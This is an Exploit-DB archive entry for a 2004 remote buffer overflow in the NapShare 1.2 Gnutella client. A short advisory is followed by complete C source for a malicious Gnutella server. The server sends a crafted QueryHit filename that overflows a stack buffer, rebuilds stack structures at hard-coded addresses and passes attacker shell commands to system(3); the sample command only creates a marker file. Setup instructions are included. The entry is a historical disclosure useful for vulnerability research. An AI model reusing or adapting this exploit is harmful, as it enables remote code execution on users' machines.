NapShare 1.2 - Remote Buffer Overflow (2)

EDB-ID:

24857




Platform:

Linux

Date:

2004-12-10


// source: https://www.securityfocus.com/bid/11967/info
 
It is reported that NapShare is susceptible to a remote buffer overflow vulnerability. This is due to a failure of the application to properly bounds check user-supplied data prior to copying it to a fixed-size memory buffer.
 
Attackers running malicious Gnutella servers are reportedly able to exploit this vulnerability to execute arbitrary code in the context of the vulnerable application.
 
Version 1.2 of NapShare is reported susceptible. Other versions may also be affected.

/*
 * napshare_srv_2.c
 * 2004.12.10
 * Bartlomiej Sieka
 *
 * This program generates the injection vector used to exploit a buffer
 * overflow in napshare version 1.2 (file auto.c, function
 * auto_filter_extern.c, buffer is "filename"). The payload contains
 * simply sh(1) commands that will be passed to the system(3) call.
 *
 * This program should be used with the tcpserver(1) to allow a running
 * napshare client to make connections to it.
 * The recipe:
 * Issue the following commands:
 * gcc -o napshare_srv_2 napshare_srv_2
 * tcpserver 0 50000 ./napshare_srv_2 &
 * napshare
 *
 * In the napshare program do the following:
 * - Connect to peer 127.0.0.1:50000 (type the ip:port on the "gnutellaNet"
 *   screen in the text input field to the right of the "Add" button
 *   and then click "Add").
 * - Add new "extern" filter. (On the "Automation" screen input "test",
 *   "test" and "extern" into "Search", "Strings" and "Filters" input
 *   fields, respectively. Then click "Add to list".)
 * - Start the automation function. (On the "Automation" screen click
 *   on the "Start Automation" button).
 * After about 20 seconds a file called "TIOLPXE" will be created in
 * the current working directory.
 */

#include<stdio.h>
#include<fcntl.h>
#include<arpa/inet.h>
#include<assert.h>
#include <sys/time.h>
#include <signal.h>

#define NODEBUG

#define PING_DESCR 0x00
#define PONG_DESCR 0x01
#define PUSH_DESCR 0x40
#define QUERY_DESCR 0x80
#define QUERYHIT_DESCR 0x81

#define MAX_IV 16000
#define MAX_PAYLOAD_SIZE 16000
#define MAX_PAYLOAD_LEN 16000
#define HDR_SIZE 23
#define MSG_ID_SIZE 16

/*
 * Messages used to establish a connection
 */
const char * Connect = "GNUTELLA CONNECT/";
const char * OK = 
"GNUTELLA/0.6 200 OK\r\n\
Pong-Caching: 0.1\r\n\
Accept-Encoding: deflate\r\n\
X-Locale-Pref: fr\r\n\
X-Guess: 0.1\r\n\
Content-Encoding: deflate\r\n\
X-Max-TTL: 3\r\n\
Vendor-Message: 0.1\r\n\
X-Ultrapeer-Query-Routing: 0.1\r\n\
X-Query-Routing: 0.1\r\n\
Listen-IP: 81.56.202.32:6346\r\n\
X-Ext-Probes: 0.1\r\n\
Remote-IP:.69.211.109.203\r\n\
GGEP: 0.5\r\n\
X-Dynamic-Querying: 0.1\r\n\
X-Degree: 32\r\n\
User-Agent: LameWare/9.9.7.(0xdeadbeef)\r\n\
X-Ultrapeer: True\r\n\
X-Try-Ultrapeers: 69.28.37.190.69:6348\r\n\
\r\n";

const char * End = "\r\n\r\n"; /* this is a stupid idea */


/* all output intened for the user should go here */
FILE * out_stream;

char Hdr[HDR_SIZE];
char Payload[MAX_PAYLOAD_SIZE];
char MsgId[MSG_ID_SIZE];
char c;
uint32_t Len;


int
dump_fd(int fd, unsigned count);

int
parse_query_payload(int fd, unsigned payload_len, char * criteria);

void send_ping(int fd);
void send_pong(int fd);
void send_queryhit(int fd, char *criteria, char *descr_id);

void
set_descr_hdr(char * Hdr,
	      char * msg_id,
	      char descr,
	      char ttl, 
	      char hops,
	      uint32_t len);

void
random_array(unsigned int n, char * array);

int
write_buf(int fd, char *buf, unsigned size);

/* XXX should this really be here...? */
uint16_t port;
uint32_t ip;
int net_out_fd;


/* send the Ping message periodically */
void timer_send_ping(int signal){
  fprintf(out_stream, "Sending Ping message\n");
  send_ping(net_out_fd);
  fflush(out_stream);
}


/***************************************************************************
 * main
 */
int
main(int argc, char * argv[]){
unsigned int seed;
  int net_in_fd = 0;
  char *msg;
  char criteria[4096];
  char c;  
  char buf[1024];
  int num_read;
  unsigned char payload_descr;
  unsigned payload_len;
  char payload[MAX_PAYLOAD_LEN];
  char descr_id[16];
  int queryhit_sent = 0;
  int i;
  
  int net_out_fd = 1;
  struct itimerval itv;


  /* set up the local output stream */
  if((out_stream = fopen("/dev/tty", "w")) == NULL){
    perror("Can't open /dev/tty");
    /* let's use stderr instead */
    out_stream = stderr;
  }
  
  if(signal(SIGALRM, timer_send_ping) == SIG_ERR){
    fprintf(out_stream, "Couldn't set the signal handler");
    exit(1);
  }
  
  itv.it_interval.tv_sec = 5;
  itv.it_interval.tv_usec = 0;  
  itv.it_value.tv_sec = 5;
  itv.it_value.tv_usec = 0;
  
  /* that stupid client closes the connection after 15 secs */
  if(setitimer(ITIMER_REAL, &itv, 0x00) == -1){
    fprintf(out_stream, "Couldn't set the signal handler");
    exit(1);
  }

  // make a connection with the client  

  // read the begining     
  num_read = read(net_in_fd, buf, sizeof(Connect));
  if(num_read != sizeof(Connect)){
    fprintf(out_stream, "Can't read \"Connect\" from the net\n");
    exit(1);
  }
  
  // maybe later compare what's read with "Connect":    if(strncpy

  // now read read everything until the final "\n\n"
  num_read = read(net_in_fd, buf, strlen(End));
  if(num_read != strlen(End)){
    fprintf(out_stream, "Connection closed before double \\n\n");
    exit(1);       
  }
  
  while(strncmp(buf, End, strlen(End)) != 0){
    fprintf(out_stream, "%s\n", buf);

    // shift the buffer by one

    for(i = 0; i < strlen(End) - 1; i++){
      buf[i] = buf[i+1];
    }
    num_read = read(net_in_fd, &buf[strlen(End) - 1], 1);
    if(num_read != 1){
      fprintf(out_stream, "Connection closed before double \\n\n");
      exit(1);
    }
  }


  // let's connect
  write(net_out_fd, OK, strlen(OK));
  fprintf(out_stream, "Connected (hopefully)\n");

  /* Now the peer will send the OK message, read it */  
  dump_fd(net_in_fd, strlen("GNUTELLA/0.6 200 OK\r\n\r\n"));


  while(1){
    if(!read_header(net_in_fd,
		    &payload_descr,
		    &payload_len,
		    descr_id)) break;
    assert(payload_len <= MAX_PAYLOAD_LEN);
    switch(payload_descr){
    case PING_DESCR:
      /* the payload lenght should be zero */
      fprintf(out_stream, "Received a Ping message\n");
      if(payload_len != 0){
	fprintf(out_stream, "Payload for Ping > 0 !\n");
      }
      fprintf(out_stream, "Sending a Pong message\n");
      send_pong(net_out_fd);      
      break;
    case PONG_DESCR:
    /* show the payload */
      fprintf(out_stream, "Received a Pong message\n");
      if(!dump_fd(net_in_fd, payload_len)) break;
      break;      
    case QUERY_DESCR:
      /* parse the payload */
      fprintf(out_stream, "Received a Query message\n");
      if(!parse_query_payload(net_in_fd, payload_len, criteria)) break;
      if(!queryhit_sent){
	queryhit_sent = 1;
	fprintf(out_stream, "Sending a QueryHit message\n");
	send_queryhit(net_out_fd, criteria, descr_id);
	fprintf(out_stream, "QueryHit sent\n");
      } else {
	fprintf(out_stream, "NOT sending a QueryHit message\n");		
      }
      break;
    case PUSH_DESCR:
      /* show the payload */
      fprintf(out_stream, "Received a Push message\n");
      if(!dump_fd(net_in_fd, payload_len)) break;
      break;      
    }
  }
}/* main() ****************************************************************/


/*
 *
 * function definitions
 *
 */


/***************************************************************************
 * Write a Ping message into fd
 */
void
send_ping(int fd){
  char * msg_id;
  /* get a random message id */
  random_array(MSG_ID_SIZE, MsgId);
  msg_id = MsgId;
  Len = 0;
  set_descr_hdr(Hdr, msg_id, PING_DESCR, rand() % 256, rand() % 256, Len);
  write_buf(fd, Hdr, HDR_SIZE);
}/* send_ping() ***********************************************************/


/***************************************************************************
 * Write a Pong message into fd
 */
void
send_pong(int fd){
  char * msg_id;
  unsigned payload_len;

  ip = 0x0100007f;
  port = 50000;

  /* get a random message id */
  random_array(MSG_ID_SIZE, MsgId);
  msg_id = MsgId;
  Len = 14;

  set_descr_hdr(Hdr, msg_id, PONG_DESCR, 5, 0, Len);
  if(!write_buf(fd, Hdr, HDR_SIZE)){
    fprintf(out_stream, "send_pong(): couldn't send header\n");
  }

  /*
   * Payload[0]-[1]: port number
   * Payload[2]-[5]: IP (little endian)
   * Payload[6]-[9]: # files shared
   * Payload[10]-[13]: # kilobytes shared
   */

  payload_len = Len;
  random_array(payload_len, Payload);
  memcpy(&Payload[0], &port, 2);
  memcpy(&Payload[2], &ip, 4);
  if(!write_buf(fd, Payload, payload_len)){
    fprintf(out_stream, "send_pong(): couldn't send payload\n");
  }
}/* send_pong() ***********************************************************/


/***************************************************************************
 * Write a QueryHit message into fd
 * criteria: null-terminated search criteria
 * descr_id: descr. of the Query msg (16 bytes)
 */
void
send_queryhit(int fd, char *criteria, char *descr_id){

  unsigned payload_len;
  char number_hits = 1;
  uint16_t speed;
  char servent_id[16];
  char result_set[MAX_IV];
  unsigned result_set_len;
  ip = 0x7f000001;
  port = 60000;

  result_set_len = set_result_set(result_set, criteria);

  assert(result_set_len <= MAX_IV);

  /* size
   * 1 : Payload[0]: number if hits
   * 2 : Payload[1-2]: port
   * 4 : Payload[3-6]: ip
   * 4 : Payload[7-10]: speed kb/s
   * ? : Payload[11-n-1]: result set
   * 16: Payload[n-n+16] servenet it
   */
  payload_len = 1 + 2 + 4 + 4 + result_set_len + 16;

  set_descr_hdr(Hdr, descr_id, QUERYHIT_DESCR, 5, 0, payload_len);
  if(!write_buf(fd, Hdr, HDR_SIZE)){
    fprintf(out_stream, "send_pong(): couldn't send header\n");
  }

  random_array(payload_len, Payload);
  memcpy(&Payload[0], &number_hits, 1);
  memcpy(&Payload[1], &port, 1);
  memcpy(&Payload[3], &ip, 4);
  memcpy(&Payload[7], &speed, 4);
  memcpy(&Payload[11], result_set, result_set_len);
  memcpy(&Payload[11 + result_set_len], servent_id, 16);
  
  if(!write_buf(fd, Payload, payload_len)){
    fprintf(out_stream, "send_pong(): couldn't send payload\n");
  }
}/* send_queryhit() *******************************************************/


/***************************************************************************
 * Copy the parts of the Descriptor Header to the msg buffer
 */
void
set_descr_hdr(char * msg,
	      char *msg_id,
	      char descr,
	      char ttl, 
	      char hops,
	      uint32_t len){

  uint32_t len_net = htonl(len);
  
  memcpy(msg, msg_id, MSG_ID_SIZE);
  memcpy(msg + MSG_ID_SIZE, &descr, 1);
  memcpy(msg + MSG_ID_SIZE + 1, &ttl, 1);
  memcpy(msg + MSG_ID_SIZE + 2, &hops, 1);
  /* some problems with endianess... */
  /*  memcpy(msg + MSG_ID_SIZE + 3, &len_net, sizeof(uint32_t)); */
  memcpy(msg + MSG_ID_SIZE + 3, &len, sizeof(uint32_t)); 
}/* set_descr_header() ****************************************************/


/***************************************************************************
 * Create a random array of n bytes at array (assume memory is allocated)
 */
void
random_array(unsigned int n, char * array){
  int i;
  for(i = 0; i < n; i++){
    *(array + i) = rand() % 256;
  } 
}/* random_array() *********************************************************/


/***************************************************************************
 * write a buffer
 */
int
write_buf(int fd, char *buf, unsigned size){
  int ret;

#ifdef DEBUG
  int i;
  fprintf(out_stream, "write_buf(): writing %d bytes:\n", size);
  for(i = 0; i < size; i++)
    fprintf(out_stream, "%.2hhx ", buf[i]);
  fprintf(out_stream, "\n");
#endif
  
  if((ret = write(fd, buf, size)) == -1){
    perror("write_buf(): write failed");
    return 0;
  } else if(ret < size){
    /* couldn't write the whole thing. hmm... */
    fprintf(out_stream, "Written only %d bytes out of %d\n", ret, size);
    return 0;
  }
  return 1;
}/* write_buf() ***********************************************************/



int
dump_fd(int fd, unsigned count){
  int i;
  char c;
  for(i = 0; i < count; i ++){
    if(read(fd, &c, 1) != 1) {perror("Can't read"); return 0;};
    fprintf(out_stream, "%.3d: 0x%.2hhx %c\n", i+1, c, c);
  }
  return 1;
}




/***************************************************************************
 * Reads a Gnutella hader from the given file descriptor.
 * payload_descr: set to the descritor read
 * payload_len: set to the lenght read
 * returns 1 if there were enough bytes read, 0 otherwise
 */
int
read_header(int net_in_fd,
	    char * payload_descr,
	    unsigned int * payload_len,
	    char * descr_id){
  int ret;
  char header[23];
  ret = read(net_in_fd, header, 23);
  if(ret == -1){
    fprintf(out_stream, "read_header(): read() failed\n");
  } 
  if(ret < 23){
    fprintf(out_stream, "can't read the full header, read %d bytes\n", ret);
    return 0;
  }    
  /* header[0]-[15] : message id, or descriptor id */
  /* header[16]     : payload descriptor */
  /* header[17]     : ttl */
  /* header[18]     : Hops */
  /* header[19]-[22]: payload lenght */
  memcpy(descr_id, header, 16);

  *payload_descr = header[16];

  /* Gnutella 0.4 specs says that stuff is little-endian, but it lies */
  /*  *payload_len = ntohl(*(uint32_t *)&header[19]); */
  *payload_len = *(uint32_t*)&header[19];
  fprintf(out_stream, "Payload descr : 0x%.2hhx\n", header[16]);
  fprintf(out_stream, "TTL           : 0x%.2hhx\n", header[17]);
  fprintf(out_stream, "Hops          : 0x%.2hhx\n", header[18]);
  fprintf(out_stream, "Payload len(b): 0x%.2hhx", header[19]);
  fprintf(out_stream, "%.2hhx", header[20]);
  fprintf(out_stream, "%.2hhx", header[21]);
  fprintf(out_stream, "%.2hhx\n", header[22]);
  fprintf(out_stream, "Payload len   : %d\n", *payload_len);
  return 1;
}/* read_header() *********************************************************/


/***************************************************************************
 * payload[0-1]: min speed in kb/sec
 * payload[2-payload_len-1]: search criteria, null terminated
 *
 */
int
parse_query_payload(int fd, unsigned payload_len, char * criteria){
  int i;
  char payload[MAX_IV];
  if(read(fd, payload, payload_len) != payload_len) return 0;

  fprintf(out_stream, "speed %d\n", payload[0] + 0xff * payload[1]);
  if(payload[payload_len - 1] != 0x00){
    fprintf(out_stream, "parse_query_payload(): serach criteria not null\
 termintaed (%.2hhx), fixing it", payload[payload_len - 1]);
    payload[payload_len - 1] = 0x00;
  }
  assert(payload_len > 2);
  strcpy(criteria, &payload[2]);
  fprintf(out_stream, "search criteria: %s\n", criteria);
  return 1;
}/* parse_query_payload() *************************************************/


/***************************************************************************
 * builds the result_set for the QueryHit message. The file name
 * is where the IV should go.
 * result_set[0-3] : file index
 * result_set[4-7] : file size in bytes
 * resutl_set[8-?] : 0x0000 terminated file name
 * result_set: store the result set there (mem already allocated)
 * criteria: serach criteria from the Query msg - in case the peer
 * would some checks to see if the file name in the QueryHit corelates
 * with the criteria sent. napshare doesn't do anything like this, so
 * this parameter is not used.
 * returns: the size of the result set
 */
int
set_result_set(char *result_set, char *criteria){
  char iv[MAX_IV];
  char *index = "iiii";
  char *size = "ssss";
  char doublenull[] = {0x00, 0x00};
  char *s;
  char *end;
  char *tmp;
  int i;

  s = iv;
  /* we need 10736 - 4 bytes to overflow the ip */
  end = s + 10736 - 8; /* -8 because we want ot preserve the saved ebp */

  /* let's build the injection vector */
  /* if will be stored in the filename array, &filename 0xbfbfbcb0 */

  /* 0xbfbfbcb0 */
  /* marker */
  tmp = "AAAABBBBCCCCDDDD";
  while(*tmp) *s++ = *tmp++;

  /*
   * simutale the rc and r structures on the stack - to prevent
   * segmentation faults in g_snprintf() and strcpy()
   */  

  /* 0xbfbfbcc0 - begining of the of the rc structure */
  /* pointer to results_set strucure, but points to itself */
  *s++ = 0xc0;
  *s++ = 0xbc; 
  *s++ = 0xbf;
  *s++ = 0xbf;    
  /* 0xbfbfbcc4 - anything */
  *s++ = 0x01;
  *s++ = 0x01;
  *s++ = 0x01;
  *s++ = 0x01;
  /* 0xbfbfbcc8 - anything */
  *s++ = 0x01;
  *s++ = 0x01;
  *s++ = 0x01;
  *s++ = 0x01;
  /* 0xbfbfbccc - begining of the r structure and rc cont'd */
  /* can be anything */
  *s++ = 0x01;
  *s++ = 0x01;
  *s++ = 0x01;
  *s++ = 0x01;
  /* 0xbfbfbcd0 - a string that is actually used, point to "" */
  /* it just do happens that 0xbfbfe6ac has 0x00000000 */
  *s++ = 0xac;
  *s++ = 0xe6;
  *s++ = 0xbf;
  *s++ = 0xbf;

  /* the payload: simply the shell commands. Note: the '\n' at */
  /* is required, otherwise sh complains and fails us.         */
  tmp = ";touch TIOLPXE;\n";

  /* want to put it as close to the $ebp as possible */
  /* shell "nop sled" */ 
  while(end - s > strlen(tmp)) *s++ = '.';
  
  /* now output the payload */
  while(*(tmp)) *(s++) = *(tmp++);
  
  /* preserv saved ebp (0xbfbfe6b8), so we can have clean return? */
  *s++ = 0xb8;
  *s++ = 0xe6;
  *s++ = 0xbf;
  *s++ = 0xbf;

  /* smasher - no need to smash the ret address, preserve it */
  *s++ = 0x39;
  *s++ = 0x2d;
  *s++ = 0x08;
  *s++ = 0x08;

  /*
   * Need to preserve following function call arguments to survive until
   * return from the function: rc, r, string. 
   */

  /* rc
   * rc is allocated on the heap and its address varies from execution
   * to execution. Let's just point it to an address on the stack that
   * we control.
   * 0xbfbfbc0
   */
  *s++ = 0xc0;
  *s++ = 0xbc;
  *s++ = 0xbf;
  *s++ = 0xbf;

  /* r
   * r's address doesn't change and it's 0x8102a00 - can't send it though,
   * because of the 0x00 byte. Let us use a stack location then. (Note
   * that we could probably use the strcpy() to write that 0x00 byte).
   * 0xbfbfbccc
   */
  *s++ = 0xcc;
  *s++ = 0xbc;
  *s++ = 0xbf;
  *s++ = 0xbf;
  
  /* string
   * string (with some other strings concatenated) will be passed
   * to the system(3) call. Let us then point to the stack, where we
   * can easily store a shell command of out choice.
   * 0xbfbfe628
   */  
  *s++ = 0x28;
  *s++ = 0xe6;
  *s++ = 0xbf;
  *s++ = 0xbf;
  
  /* null-terminate for the strlen() below  to work */
  *s = 0x00;

  /* we have all the parts, build the result set */
  memcpy(&result_set[0], index, 4);
  memcpy(&result_set[4], size, 4);
  memcpy(&result_set[8], iv, strlen(iv));
  memcpy(&result_set[8 + strlen(iv)], doublenull, 2);

  return 4 + 4 + strlen(iv) + 2;
}/* set_result_set() ******************************************************/